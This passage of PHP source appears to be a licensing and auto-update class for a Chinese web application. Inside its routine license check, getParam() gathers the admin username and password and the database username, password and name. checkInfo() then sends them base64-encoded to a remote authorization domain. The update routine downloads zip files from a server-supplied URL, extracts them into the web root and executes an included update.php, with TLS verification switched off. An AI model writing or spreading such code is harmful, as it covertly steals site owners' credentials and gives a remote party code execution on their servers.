"; const CLOSE_LOADING_HTML = ""; private static function message($msg) { $html = "

站点提示信息

" . $msg . ""; exit($html); } private static function loading() { header("X-Accel-Buffering: no"); ob_end_flush(); ob_implicit_flush(1); echo self::LOADING_HTML; if (connection_aborted()) { exit; } } private static function close_loading() { echo self::CLOSE_LOADING_HTML; } public static function main() { $SF_CheckAuthResult = self::getSession(); if (!empty($SF_CheckAuthResult)) { $result = $SF_CheckAuthResult; if (is_array($result)) { $time = self::publicDecrypt($result["data"]["time"]); if ($time + self::TIME > time()) { if ($result["code"] != 0) { self::message($result["msg"]); } } else { self::deleteSession(); } } else { self::deleteSession(); self::message("链接服务器失败"); } } else { $result = self::checkInfo(); if (!$result) { self::message("链接服务器失败"); } else { if ($result["data"]["code"] == 0) { self::setSession($result); } else { if ($result["data"]["code"] != 1) { self::message($result["msg"]); } } } } } public static function updateMain($SF_Action = "check") { $result = self::checkInfo("update"); switch ($SF_Action) { case "check": if (!$result) { $data = ["code" => -1, "msg" => "啊哦,更新服务器开小差了,请刷新此页面。"]; return $data; } else { return $result; } case "update": $downloadUrl = $result["data"]["data"]["url"]; $ZipFile = "SF.zip"; foreach ($result["data"]["data"]["download"] as $res) { ini_set("user_agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727;)"); if (!copy($downloadUrl . $res, $ZipFile)) { $data = ["code" => -1, "msg" => "无法下载更新包文件!"]; return $data; } $addstr = ''; if (self::zipExtract($ZipFile, IA_ROOT_WK)) { if (function_exists("opcache_reset")) { @opcache_reset(); } if (file_exists(IA_ROOT_WK . "/update.php")) { include IA_ROOT_WK . "/update.php"; chmod(IA_ROOT_WK . "/update.php", 0777); unlink(IA_ROOT_WK . "/update.php"); } } else { if (file_exists($ZipFile)) { @unlink($ZipFile); } $data = ["code" => -1, "msg" => "解压更新包失败,请稍后重试"]; return $data; } } $data = ["code" => 1, "msg" => "已更新至最新版本"]; return $data; default: $data = ["code" => -1, "msg" => "请求类型错误!"]; return $data; } } public static function getModuleInfo() { $data = ["edition" => AuthInfo::EDITION, "module_title" => MODULE_TITLE]; return $data; } private static function zipExtract($src, $dest) { $zip = new ZipArchive(); if ($zip->open($src) === true) { $zip->extractTo($dest); $zip->close(); return true; } return false; } private static function getParam() { global $conf, $dbconfig; if (!class_exists("AuthInfo")) { self::message("缺少授权信息类!"); } return array("authcode" => AuthInfo::AUTHCODE, "version" => AuthInfo::VERSION, "用户名" => $conf["admin_user"], "密码" => $conf["admin_pwd"], "qq" => $conf["kfqq"], "数据库用户名" => $dbconfig["user"], "数据库密码" => $dbconfig["pwd"], "数据库库名" => $dbconfig["dbname"]); } private static function checkInfo($type = "auth") { switch ($type) { case "update": $method = "checkUpdate"; $queueMethod = "checkUpdate"; break; default: $method = "checkAuth"; $queueMethod = "checkUpdate"; break; } $data = array("auth_info" => getenv("HTTP_HOST"), "appid" => self::APPID, "api_key" => self::APP_API_KEY, "param" => base64_encode(json_encode(self::getParam()))); $http = !self::HTTP ? "http://" : "https://"; $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $method, $data, self::METHOD, self::HTTP); $result = json_decode($result, true); if (is_array($result)) { if (!empty($result["data"]["queue"])) { $i = 0; while (1) { $result = self::curl_request($http . self::AUTH_DOMAIN . "/api.php/Auth/" . $queueMethod, $data, self::METHOD, self::HTTP); $result = json_decode($result, true); if (is_array($result)) { if (!empty($result["data"]["queue"])) { $i++; if ($i > self::QUEUE_TIME) { return false; } } else { return $result; } } else { return false; } sleep(1); } } else { return $result; } } return false; } private static function publicDecrypt($encrypted = '') { if (!is_string($encrypted)) { return null; } return openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey()) ? $decrypted : null; } private static function getPublicKey() { if (!class_exists("AuthInfo")) { self::message("缺少授权信息类!"); } $publicKey = AuthInfo::PUBLIC_KEY; return openssl_pkey_get_public($publicKey); } private static function getSession() { return !empty($_SESSION[self::SESSION_NAME]) ? $_SESSION[self::SESSION_NAME] : null; } private static function setSession($session = null) { $_SESSION[self::SESSION_NAME] = $session; } private static function deleteSession() { unset($_SESSION[self::SESSION_NAME]); } private static function curl_request($url, $data = array(), $type = "post", $https = false) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if ($https) { curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); } if (strtolower($type) == "post") { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } else { if (!empty($data) && is_array($data)) { $url = $url . "?" . http_build_query($data); } } curl_setopt($ch, CURLOPT_URL, $url); $result = curl_exec($ch); if ($result === false) { return false; } curl_close($ch); return $result; } }